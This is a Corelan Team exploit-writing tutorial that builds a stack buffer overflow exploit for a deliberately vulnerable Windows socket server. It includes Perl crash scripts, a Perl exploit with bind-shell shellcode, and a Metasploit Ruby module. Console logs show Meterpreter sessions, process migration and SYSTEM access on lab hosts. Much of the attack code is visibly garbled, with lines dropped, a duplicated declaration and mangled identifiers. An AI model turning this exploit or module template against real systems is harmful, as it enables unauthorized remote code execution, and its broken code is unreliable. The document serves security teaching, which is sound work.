

Corelan Team

:: Knowledge is not an object, it's a flow ::

Exploit writing tutorial part 4 : From Exploit to Metasploit - The basics

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In the first parts of the exploit writing tutorial, I have discussed some common vulnerabilities that can lead to 2 types of exploits: stack based buffer overflows (with direct EIP overwrite), and stack based buffer overflows that take advantage of SEH chains. In my examples, I have used perl to demonstrate how to build a working exploit.

Obviously, writing exploits is not limited to perl only. I guess every programming language could be used to write exploits... so you can just pick the one that you are most familiar with. (python, c, c++, C#, etc)

Despite the fact that these custom written exploits will work just fine, it may be nice to be able to include your own exploits in the metasploit framework in order to take advantage of some of the unique metasploit features.

So today, I'm going to explain how exploits can be written as a metasploit module.

Metasploit modules are writting in ruby. Even if you don't know a lot about ruby, you should still be able to write a metasploit exploit module based on this tutorial and the existing exploits available in metasploit.

Metasploit exploit module structure

A typical metasploit exploit module consists of the following components :

- header and some dependencies
 Some comments about the exploit module
 require 'msf/core'
- class definition
- includes
 "def" definitions:

 initialize
 - check (optional)exploit

You can put comments in your metasploit module by using the # character. That's all we need to know for now, let's look at the steps to build a metasploit exploit module.

Case study: building an exploit for a simple vulnerable server

We'll use the following vulnerable server code (C) to demonstrate the building process :

```
#include <iostream.h>
#include <winsock.h>
#include <windows.h>
//load windows socket
#pragma comment(lib, "wsock32.lib")
//Define Return Messages
#define SS_ERROR 1
#define SS_OK 0
void pr( char *str)
      char buf[500]="";
      strcpy(buf,str);
 void sError(char *str)
     \label{eq:messageBox} \begin{array}{ll} \texttt{MessageBox} & (\texttt{NULL}, \ \texttt{str}, \ "\texttt{socket} \ \texttt{Error}" \ \ , \texttt{MB\_OK}) \, ; \\ \texttt{WSACleanup()} \, ; \end{array}
int main(int argc, char **argv)
WORD sockVersion;
WSADATA wsaData;
 int rVal;
char Message[5000]="";
char buf[2000]="";
u_short LocalPort;
LocalPort = 200;
//wsock32 initialized for usage
sockVersion = MAKEWORD(1,1);
```



```
WSAStartup(sockVersion, &wsaData);
//create server socket
SOCKET serverSocket = socket(AF_INET, SOCK_STREAM, 0);
 if(serverSocket == INVALID_SOCKET)
    sError("Failed socket()");
     return SS_ERROR;
SOCKADDR IN sin;
sin.sin_family = PF_INET;
sin.sin_port = htons(LocalPort);
sin.sin_addr.s_addr = INADDR_ANY;
//bind the socket
rVal = bind(serverSocket, (LPSOCKADDR)&sin, sizeof(sin));
if(rVal == SOCKET_ERROR)
{
    sError("Failed bind()");
WSACleanup();
return SS_ERROR;
//get socket to listen
rVal = listen(serverSocket, 10);
if(rVal == SOCKET_ERROR)
{
   _-
    sError("Failed listen()");
WSACleanup();
return SS_ERROR;
sError("Failed accept()");
    WSACleanup();
return SS_ERROR;
int bytesRecv = SOCKET_ERROR;
while( bytesRecv == SOCKET_ERROR )
    //receive the data that is being sent by the client max limit to 5000 bytes. bytesRecv = recv( clientSocket, Message, 5000, 0 );
     if ( bytesRecv == 0 || bytesRecv == WSAECONNRESET )
        printf( "\nConnection Closed.\n");
break;
 //Pass the data received to the function pr
pr(Message);
//close client socket
closesocket(clientSocket);
closesocket(serverSocket);
WSACleanup();
 return SS_OK;
```

Compile the code and run it on a Windows 2003 server R2 with SP2. (I have used lcc-win32 to compile the code) When you send 1000 bytes to the server, the server will crash.

The following perl script demonstrates the crash:

```
use strict;
use Socket;
my $junk = "\x41" x1000;
# initialize host and port
my $host = shift || 'localhost';
my $port = shift || 200;
my $proto = getprotobyname('tcp');
# get the port address
my $iaddr = inet_aton($host);
my $paddr = sockaddr_in($port, $iaddr);
print "[+] Setting up socket\n";
# create the socket, connect to the port
socket(SOCKET, PF_INET, SOCK_STREAM, *proto) or die "socket: $!";
print "[+] Connecting to $host on port $port\n";
connect(SOCKET, $paddr) or die "connect: $!";
print "[+] Sending payload\n";
print "[+] Payload sent\n";
```



```
close SOCKET or die "close: $!";
```

The vulnerable server dies, and EIP gets overwritten with A's

```
0:001> g
(e00.de0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012e05c ebx=7ffd6000 ecx=00000000 edx=0012e446 esi=0040bdec edi=0012ebe0
eip=41414141 esp=0012e258 ebp=41414141 iopl=0 nv up ei pl nz ac po nc
cs=001D ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010212
41414141 ??
```

Using a metasploit pattern, we determine that the offset to EIP overwrite is at 504 bytes. So we'll build a new crash script to verify the offset and see the contents of the registers when the overflow occurs :

```
use strict;
use Socket;

my $totalbuffer=1000;
my $junk = "\x41" x 504;
my $eipoverwrite = "\x42" x 4;
my $eipoverwrite = "\x42" x 4;
my $junk2 = "\x43" x ($totalbuffer-length($junk.$eipoverwrite));

# initialize host and port
my $host = shift || 'localhost';
my $port = shift || 200;
my $proto = getprotobyname('tcp');

# get the port address
my $iaddr = inet aton($host);
my $paddr = sockaddr_in($port, $iaddr);
print "[+] Setting up socket\n";
# create the socket, connect to the port
socket(SOCKET, PF INET, SOCK STREAM, $proto) or die "socket: $!";
print "[+] Connecting to $host on port $port\n";
connect(SOCKET, $paddr) or die "connect: $!";
print "[+] Sending payload\n";
print "[+] Payload sent\n";
close SOCKET or die "close: $!";
```

After sending 504 A's, 4 B's and a bunch of C's, we can see the following register and stack contents :

Increase the junk size to see how much space you have available for your shellcode. This is important because you will need to specify this parameter in the metasploit module.

Change the \$totalbuffer value to 2000, overflow still works as expected, and the contents of esp indicate that we have been able to fill memory with C's up to esp+5d3 (1491 bytes). That will be our shellcode space (more or less)

All we need is to overwrite EIP with jmp esp (or call esp, or something similar), and put our shellcode instead of the C's and we should be fine.

Using findjmp, we have found a working address for our Windows 2003 R2 SP2 server :

```
findjmp.exe ws2_32.dll esp
Reg: esp
Scanning ws2_32.dll for code usable with the esp register
0x71C02B67 push esp - ret
Finished Scanning ws2_32.dll for code usable with the esp register
Found 1 usable addresses
```

After doing some tests with shellcode, we can use the following conclusions to build the final exploits

- exclude 0xff from the shellcode
- put some nop's before the shellcode

Our final exploit (in perl, with a shell bound to tcp 5555) looks like this :



```
#jmp esp (from ws2_32.dll)
my $eipoverwrite = pack('V',0x71C02B67);
#add some NOP's
my $shellcode="\x90" x 50;
  "\x43\x34\x51\x4f\x50\x53\x4b\x4f\x4e\x36\x4b\x4f\x48\x50"
"\x41\x41";
 # initialize host and port
my $host = shift || 'localhost';
my $port = shift || 200;
  my $proto = getprotobyname('tcp');
 # get the port address
my $iaddr = inet_aton($host);
my $paddr = sockaddr_in($port, $iaddr);
 print "[+] Setting up socket\n";
# create the socket, connect to the port
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
print "[+] Connecting to $host on port $port\n";
connect(SOCKET, $paddr) or die "connect: $!";
  print "[+] Sending payload\n";
print SOCKET $junk.$eipoverwrite.$shellcode."\n";
  print "[+] Payload sent\n";
print "[+] Attempting to telnet to $host on port 5555...\n";
system("telnet $host 5555");
  close SOCKET or die "close: $!";
```

Exploit output :

```
root@backtrack4:/tmp# perl sploit.pl 192.168.24.3 200

Writing Buffer Overflows
Peter Van Eeckhoutte
http://www.corelan.be:8800

Exploit for vulnserver.c

[+] Setting up socket
[+] Connecting to 192.168.24.3 on port 200
[+] Sending payload
[+] Payload sent
[+] Attempting to telnet to 192.168.24.3 on port 5555...
Trying 192.168.24.3...
Connected to 192.168.24.3.
```



```
Escape character is '^]'.
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
C:\vulnserver\lcc>whoami
win2003-01\administrator
```

The most important parameters that can be taken from this exploit are

- offset to ret (eip overwrite) is 504
 windows 2003 R2 SP2 (English) jump address is 0x71C02B67
 shellcode should not contain 0x00 or 0xff
- shellcode can be more or less 1400 bytes

Futhermore, after running the same tests against a Windows XP SP3 (English), we determine that the offset is the same, but the jmp address must be changed (to for example 0x7C874413). We'll build a metasploit module that will allow you to select one of these 2 targets, and will use the correct jmp address.

Converting the exploit to metasploit

First, you need to determine what type your exploit will be, because that will determine the place within the metasploit folder structure where the exploit will be saved. If your exploit is targetting a windows based ftp server, it would need to be placed under the windows ftp server exploits.

Metasploit modules are saved in the framework3xx folder structure, under /modules/exploits. In that folder, the exploits are broken down into operating systems first, and then services.

Our server runs on windows, so we'll put it under windows. The windows fodler contains a number of folders already (from antivirus to wins), include a "misc" folder. We'll put our exploit under "misc" (or we could put it under telnet) because it does not really belong to any of the other types.

We'll create our metasploit module under %metasploit%/modules/windows/misc :

root@backtrack4:/# cd /pentest/exploits/framework3/modules/exploits/windows/misc root@backtrack4:/pentest/exploits/framework3/modules/exploits/windows/misc# vi custom_vulnserver.rb

```
# Custom metasploit exploit for vulnserver.c
# Written by Peter Van Eeckhoutte
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote</pre>
         include Msf::Exploit::Remote::Tcp
        => 'Custom vulnerable server stack overflow',
=> %q{
This module exploits a stack overflow in a
custom vulnerable server.
                                   'Description'
                                                            },
=> [ 'Peter Van Eeckhoutte' ],
=> '$Revision: 9999 $',
                                    'Author'
                                    'Version' =>
'DefaultOptions' =>
                                    Version'
                                                           'EXITFUNC' => 'process',
                                    'Payload'
                                                           'Space' => 1400,
'BadChars' => "\x00\xff",
                                    'Platform'
                                                            => 'win',
                                    'Targets'
                                                            =>
                                                          ['Windows XP SP3 En',
	{ 'Ret' => 0x7c874413, 'Offset' => 504 } ],

['Windows 2003 Server R2 SP2',
	{ 'Ret' => 0x7lc02b67, 'Offset' => 504 } ],
                                   'DefaultTarget' => 0,
                                    'Privileged'
                                                           => false
                                   register_options(
                                              Opt::RPORT(200)
                                   ], self.class)
          def exploit
              connect
              junk = make_nops(target['Offset'])
sploit = junk + [target.ret].pack('V') + make_nops(50) + payload.encoded
sock.put(sploit)
              handler
              disconnect
end
```

We see the following components:



- first, put "require msf/core", which will be valid for all metasploit exploits
 define the class. In our case, it is a remote exploit.
 Next, set exploit information and exploit definitions:

 include: in our case, it is a plain tcp connection, so we use Msf::Exploit::Remote::Tcp

 Metasploit has handlers for http, ftp, etc... (which will help you building exploits faster because you don't have to write the entire conversation
 - yourself) Information

 - Payload : define the length and badchars (0x00 and 0xff in our case)
 Define the targets, and define target-specific settings such as return address, offset, etc
 - Exploit

 - connect (which will set up the connection to the remote port)
 build the buffer
 junk (nops, with size of offset)
 add the return address, more nops, and then the encoded payload
 write the buffer to the connection
 handle the exploit
 disconnect

That's it

Now open msfconsole. If there is an error in your script, you will see information about the error while msfconsole loads. If msfconsole was already loaded, you'll have to close it again before you can use this new module (or before you can use updated module if you have made a change)

Test the exploit

Test 1: Windows XP SP3

```
root@backtrack4:/pentest/exploits/framework3# ./msfconsole
     =[ msf v3.3-dev
+ -- --=[ 395 exploits - 239 payloads
+ -- --=[ 20 encoders - 7 nops
=[ 187 aux
msf > use windows/misc/custom_vulnserver
msf exploit(custom_vulnserver) > show options
Module options:
    Name Current Setting Required Description
    RH0ST
                                                      The target address
The target port
    RPORT 200
Exploit target:
    Id Name
    0 Windows XP SP3 En
msf exploit(custom vulnserver) > set rhost 192.168.24.10
rhost => 192.168.24.10
msf exploit(custom_vulnserver) > show targets
Exploit targets:
    Id Name
          Windows XP SP3 En
Windows 2003 Server R2 SP2
msf exploit(custom_vulnserver) > set target 0
misi exploit(custom_vutnserver) > set target => 0
msf exploit(custom_vulnserver) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf exploit(custom_vulnserver) > show options
Module options:
    Name Current Setting Required Description
                                                  The target address
The target port
    RHOST 192.168.24.10 yes
RPORT 200 ves
                                       yes
Payload options (windows/meterpreter/bind_tcp):
    Name
                 Current Setting Required Description
                                           yes Exit technique: seh, thread, process
yes The local port
no The target address
    EXITFUNC process
LPORT 4444
                   192.168.24.10 no
    RH0ST
Exploit target:
    Id Name
    0 Windows XP SP3 En
msf exploit(custom_vulnserver) > exploit
[*] Started bind handler
[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
[*] Sending stage (718336 bytes)
[*] Meterpreter session 1 opened (192.168.24.1:42150 -> 192.168.24.10:4444)
```



```
meterpreter > sysinfo
Computer: SPLOITBUILDER1
OS : Windows XP (Build 2600, Service Pack 3).
```

Test 2: Windows 2003 Server R2 SP2

```
(continued from exploit to XP):
```

```
meterpreter :
meterpreter > quit
[*] Meterpreter session 1 closed.
msf exploit(custom vulnserver) > set rhost 192.168.24.3
rhost => 192.168.24.3
msf exploit(custom_vulnserver) > set target 1
msf exploit(custom_vulnserver) > show options
Module options:
      Name Current Setting Required Description
      RHOST 192.168.24.3
RPORT 200
                                                                                The target address
The target port
Pavload options (windows/meterpreter/bind tcp):
                            Current Setting Required Description
      EXITFUNC process
LPORT 4444
                                                                                       Exit technique: seh, thread, process
The local port
The target address
                                                                  ves
                            192.168.24.3
      RHOST
                                                                  no
Exploit target:
      Id Name
             Windows 2003 Server R2 SP2
msf exploit(custom_vulnserver) > exploit
 [*] Started bind handler
[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
[*] Sending stage (718336 bytes)
[*] Meterpreter session 2 opened (192.168.24.1:56109 -> 192.168.24.3:4444)
meterpreter > sysinfo
Computer: WIN2003-01
OS : Windows .NET Server (Build 3790, Service Pack 2).
meterpreter > getuid
Server username: WIN2003-01\Administrator
meterpreter > ps
Process list
        PID Name
                                                                Path
                                                               \SystemRoot\System32\smss.exe
\??\C:\WINDOWS\system32\winlogon.exe
C:\WINDOWS\Explorer.EXE
C:\WINDOWS\system32\services.exe
C:\WINDOWS\system32\ctfmon.exe
C:\WINDOWS\system32\ctfmon.exe
C:\WINDOWS\system32\sass.exe
C:\WINDOWS\system32\svchost.exe
         300
                      smss.exe
                     winlogon.exe
Explorer.EXE
         396
        420
424
432
652
832
                     services.exe
ctfmon.exe
lsass.exe
svchost.exe
                      sychost.exe
                     sychost.exe
spoolsv.exe
sychost.exe
dllhost.exe
sychost.exe
        996
1132
1392
          1580
         1600
                      sychost.exe
                     cmd.exe
vulnserver.exe
meterpreter > migrate 996
[*] Migrating to 996...
[*] Migration completed successfully.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
pwned!
```

More info about the Metasploit API

You can find more information about the Metasploit API (and available classes) at http://www.metasploit.com/documents/api/msfcore/index.html

Now go out and build your own exploits, put some I33t talk in the exploit and don't forget to send your greetings to corelanc0d3r:-)

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